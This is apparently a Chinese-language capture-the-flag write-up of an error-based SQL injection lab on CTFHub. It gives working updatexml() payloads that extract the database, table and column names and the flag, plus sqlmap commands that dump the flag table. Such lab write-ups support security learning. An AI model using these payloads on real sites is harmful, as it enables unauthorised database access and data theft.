开启靶场,打开链接:
输入1:
没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注
输入1':
显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入
输入:
1 and updatexml(1,0x7e,3) -- a
正常显示报错信息,确定报错函数updatexml()可以使用
(1)爆数据库名
1 and updatexml(1,concat('~',database(),'~'),1) -- a
说明数据库名是sqli
(2)爆表名
1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a
得到表名是news和flag,其中flag表是我们要找的
(3)爆列名
1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a
得到列名是flag
(4)爆字段内容(flag)
1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a
得到flag:
ctfhub{d49fefe662a37b6387cad068}
接下来用sqlmap爆破一下:
python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump
一样成功得到flag